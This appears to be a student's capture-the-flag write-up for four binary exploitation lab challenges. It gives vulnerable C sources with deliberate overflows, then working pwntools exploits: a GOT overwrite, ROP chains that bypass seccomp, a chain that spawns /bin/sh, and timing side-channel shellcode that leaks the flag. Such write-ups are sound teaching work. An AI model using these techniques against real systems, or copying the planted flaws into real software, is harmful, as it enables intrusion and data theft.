lecture: https://youtu.be/ktoVQB99Gj4
slide: https://drive.google.com/drive/folders/15jPvm8L618aYkuOkyEm17DzPlFDgCzL8?usp=share_link
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
char flag[0x30];
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
int fd = open("/home/user/Desktop/pwn1/got2win_642f93b268c28cb0/got2win/test/flag", O_RDONLY);
read(fd, flag, 0x30);
close(fd);
write(1, "Good luck !\n", 13);
unsigned long addr = 0;
printf("Overwrite addr: ");
scanf("%lu", &addr);
printf("Overwrite 8 bytes value: ");
read(0, (void *) addr, 0x8);
printf("Give me fake flag: ");
int nr = read(1, flag, 0x30);
if (nr <= 0)
exit(1);
flag[nr - 1] = '\0';
printf("This is your flag: ctf{%s}... Just kidding :)\n", flag);
return 0;
}
:13,15
會先把 flag
讀取近來
:18,22
讓我們 Overwrite 一個記憶體位址
:25
會從 stdout
把東西讀進 flag
把東西從 stdout
讀進來看起來很特別
只要把 read
想辦法蓋成 write
就可以直接把 flag
輸出到 stdout
了
這邊來找 read
的 got
由下圖可知是 0x404038
write
的 plt
是 0x401030
把 read
got
的地方寫成 write
的 plt
那最後程式執行到 read
的時候就會把 write
載入到 read
got
就成功把 read
蓋成 write
了
got2win/exp.py
from pwn import *
context.arch = 'amd64'
r = remote('edu-ctf.zoolab.org', 10004)
read_got = 0x404038
write_plt = 0x401030
r.sendlineafter(b'Overwrite addr: ', str(read_got).encode())
r.sendafter(b'Overwrite 8 bytes value: ', p64(write_plt))
r.interactive()
'''output
[+] Opening connection to edu-ctf.zoolab.org on port 10004: Done
[*] Switching to interactive mode
Give me fake flag: FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
\x00\x00his is your flag: ctf{FLAG{apple_1f3870be274f6c49b3e31a0c6728957f}
}... Just kidding :)
[*] Got EOF while reading in interactive
'''
#include <stdio.h>
#include <unistd.h>
#include <seccomp.h>
char fn[0x20];
char ROP[0x100];
// fd = open("flag", 0);
// read(fd, buf, 0x30);
// write(1, buf, 0x30); // 1 --> stdout
int main()
{
setvbuf(stdin, 0, _IONBF, 0);
setvbuf(stdout, 0, _IONBF, 0);
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx);
seccomp_release(ctx);
printf("Give me filename: ");
read(0, fn, 0x20);
printf("Give me ROP: ");
read(0, ROP, 0x100);
char overflow[0x10];
printf("Give me overflow: ");
read(0, overflow, 0x30);
return 0;
}
題目用 seccomp rule
限制了 syscall
這邊 open
read
write
exit_group
exit
仍可使用
所以打算使用 open
read
write
來構造出下面的結構
open(filename, 0, 0);
read(fd, filename_addr, 0x30);
write(1, filename_addr, 0x30);
看到有 NX
所以先考慮使用 ROP Stack pivoting
這邊題目好心給了 fn[0x20]
ROP[0x100]
這兩個可控的全域變數
這樣可以很方便的取得他們的位置
gef
gef➤ p &fn
$5 = (<data variable, no debug info> *) 0x4e3340 <fn>
gef➤ p &ROP
$6 = (<data variable, no debug info> *) 0x4e3360 <ROP>
gef➤
所以這邊打算把
fn
放成 /home/chal/flag
ROP
放成 ROP
所以要來找 ROP Gadget
這裡使用 ROPgadget
來找 ROP Gadget
user@user-vm ~/D/p/rop2win> ROPgadget --binary ./share/chal > rop1
會用到的有
pop_rdi_ret
pop_rsi_ret
pop_rax_ret
leave_ret
syscall_ret
不過這裡沒有 pop_rax_ret
所以找了 pop_rax_rdx_rbx_ret
這樣就有 open
read
write
了
這邊題目給了 overflow[0x10]
題目會讀取 0x30
個字
所以有 overflow
然後題目給的 overflow
剛好可以蓋到 ret addr
所以還是需要 ROP
這個變數來放 ROP
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa
^ ^
old_rbp ret_addr
有了 overflow
之後
將 stack
上的
ret addr
蓋成 leave ; ret
的位置old_rbp
蓋成 &ROP-8
如下圖
這樣執行到 leave
的時候
rbp
會跑去 &ROP-8
執行到 ret
的時候
rip
會跳去 leave ; ret
的位置
如下圖
所以接下來又會碰到一次 leave ; ret
碰到 leave
的時候
相當於執行
mov rsp, rbp
pop rbp
所以 rsp
會被蓋成 rbp
也就是 &ROP-8
rsp
好像還會加 8 (? 好像是 pwntools
做的事) 所以會是 &ROP
碰到 ret
的時候
因為 rsp
已經變道 &ROP
了
所以 rip
會跳到 rsp
也就是 ROP
上第一個所指的地方
那邊是可控的
只要把 ROP
做好就可以
會用到的 gadget
都找好了
接著跳到 ROP
後就可以收 flag
了
以下是我的 ROP chain
rop2win/exp.py
ROP = flat(
# open(filename, 0, 0)
pop_rdi_ret, filename_addr,
pop_rsi_ret, 0,
pop_rax_rdx_rbx_ret, 2, 0, 0,
syscall_ret,
# read(fd, filename_addr, 0x30)
pop_rdi_ret, 3,
pop_rsi_ret, filename_addr,
pop_rax_rdx_rbx_ret, 0, 0x30, 0,
syscall_ret,
# write(1, filename_addr, 0x30)
pop_rdi_ret, 1,
pop_rsi_ret, filename_addr,
pop_rax_rdx_rbx_ret, 1, 0x30, 0,
syscall_ret
)
'''output:
[+] Opening connection to edu-ctf.zoolab.org on port 10005: Done
[*] Switching to interactive mode
FLAG{banana_72b302bf297a228a75730123efef7c41}
\x00[*] Got EOF while reading in interactive
'''
#include <stdio.h>
#include <unistd.h>
#include <string.h>
int main()
{
char buf[0x10];
const char *msg = "show me rop\n> ";
write(1, msg, strlen(msg));
read(0, buf, 0x200);
return 0;
}
題目 :15
有明顯的 overflow
因為有 NX
所以不能直接寫 shellcode
到 stack
執行
這邊打算用 ROP
來了解一下 old rbp
與 &buf
的 offset
送給 buf
以下 pattern
aaaaaaaabaaaaaaacaaaaaaadaaaaaaaeaaaaaaafaaaaaaa
由下圖可看出 old rbp
的 offset
是 0x20
所以 ret addr
的 offset
是 0x28
這邊想要拿到 "/bin/sh\x00"
這個字串
然後在 execve("/bin/sh")
這邊先試著用 read(0, somewhere, 8)
把 "/bin/sh\x00"
試著寫進去
0x000000004c5000
可讀可寫
那就決定把 "/bin/sh\x00"
read 到 0x000000004c5000
可以從下圖看到寫的進去
而且我選的 syscall
後面會跳回原處
然後變成 lseek
的 syscall
syscall
後面會跳回原處
然後變成 lseek
的 syscall
syscall
後面會跳回原處
然後變成 lseek
的 syscall
行程無限迴圈
可是這裡找到的 ROP Gadget
只有 syscall
沒有 syscall ; ret
所以我們只能用一次 syscall
那就用別的方法把 /bin/sh\x00
寫進去
https://failingsilently.wordpress.com/2017/12/14/rop-chain-shell/
所以找了個
0x449fa5 <_dl_get_tls_static_info+21>: mov QWORD PTR [rsi],rax
0x449fa8 <_dl_get_tls_static_info+24>: ret
然後構成了以下的 ROP chain
rop++/exp.py
ROP = flat(
# move "/bin/sh\x00" to writable_addr
pop_rax_ret, bin_sh,
pop_rsi_ret, writable_addr,
mov_rax2rsi_addr_ret,
# execve('/bin/sh', 0, 0)
pop_rdi_ret, writable_addr,
pop_rsi_ret, 0,
pop_rax_rdx_rbx_ret, 0x3b, 0, 0,
syscall,
)
'''output
user@user-vm ~/D/p/rop++> python3 ./exp.py
[+] Opening connection to edu-ctf.zoolab.org on port 10003: Done
[*] Switching to interactive mode
$ cat /home/chal/flag
FLAG{chocolate_c378985d629e99a4e86213db0cd5e70d}
$
'''
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <seccomp.h>
#include <sys/mman.h>
#include <stdlib.h>
static char flag[0x30];
int main()
{
void *addr;
int fd;
scmp_filter_ctx ctx;
addr = mmap(NULL, 0x1000, PROT_EXEC | PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if ((unsigned long)addr == -1)
perror("mmap"), exit(1);
fd = open("/home/chal/flag", O_RDONLY);
if (fd == -1)
perror("open"), exit(1);
read(fd, flag, 0x30);
close(fd);
write(1, "talk is cheap, show me the code\n", 33);
read(0, addr, 0x1000);
ctx = seccomp_init(SCMP_ACT_KILL);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_load(ctx);
seccomp_release(ctx);
((void(*)())addr)();
return 0;
}
看到 dynamically linked
看到 NX
不過題目會處理讓 shellcode
可以執行所以沒差
看到只能用 exit
exit_group
的 syscall
只能想辦法用其他方法 leak 出 flag
https://unam.re/blog/reading-files-without-write-syscall
先找到 flag
的記憶體位置
結果發現每次都會變
看到 flag
是相對於 rip
的
所以我們需要執行到 +119
的時候的 rip
而那個時候的 rip
的資訊我們可以從 stack
上找到
然後 <main+0>
也在 stack
也就是 $rbp+0x18
flag
的位置在 <main+159> + 0x2d18
所以可以算的出來
實際試看看可以發現算出來的是對的
有 flag
的位置的話我們就可以開始 leak flag
了
我們透過讓產生兩種不同的回應來做到資訊的取得
用時間來區分
方法如下
xor r11, r11
delay:
inc r11
cmp r11, 0x7fffffff
jne delay
這樣就可以做出 delay
的效果
可以看到有明顯的時間差如下圖 (第一個是有 delay
的 第二個則否)
我這邊的計畫是如果 flag[i] == guess
就讓他 delay
反之則否
對於每個 i
都試一次就可以找出 flag
了
shellcode
如下
shellcode
xor rax, rax
xor rdx, rdx
xor rsi, rsi
xor rdi, rdi
mov dl, {guess} /* guess */
mov rsi, [rbp+0x18] /* rsi = <main+0> */
lea rdi, [rsi+159+0x2d18] /* rdi = (<main+159> + 0x2d18) */
mov al, byte [rdi+{idx}] /* al = *(&flag+idx) */
cmp al, dl
jnz end
xor r11, r11
delay:
inc r11
cmp r11, 0x7fffffff
jne delay
end:
這邊就先不用二分搜索 反正字數不多
效果看起來不錯
這邊的取法就取時間話最久的來當 flag[i]
做到一半看到一個很危險的
找到的 flag
有差兩個字
FLAG{piano_d11sf1c3f9ed8S19288f4e8ddecfb8ec}
FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
那就多 sample
個幾次
how2know/exp.py
flag = ''
for i in range(-1, 99999):
timeTaken = []
for guess in range(0x21, 0x7f):
# sample 3 times in case of noise
timeTaken.append(0)
timeTaken[-1] = min(getTimeTaken(i, guess), getTimeTaken(i, guess), getTimeTaken(i, guess))
print(f'idx: {i}, guess: {guess}, time: {timeTaken[-1]}')
longest_idx = timeTaken.index(max(timeTaken))
flag += chr(longest_idx + 0x21)
print(flag)
if flag[-1] == '}':
break
'''output
FLAG{piano_d113f1c3f9ed8019288f4e8ddecfb8ec}
'''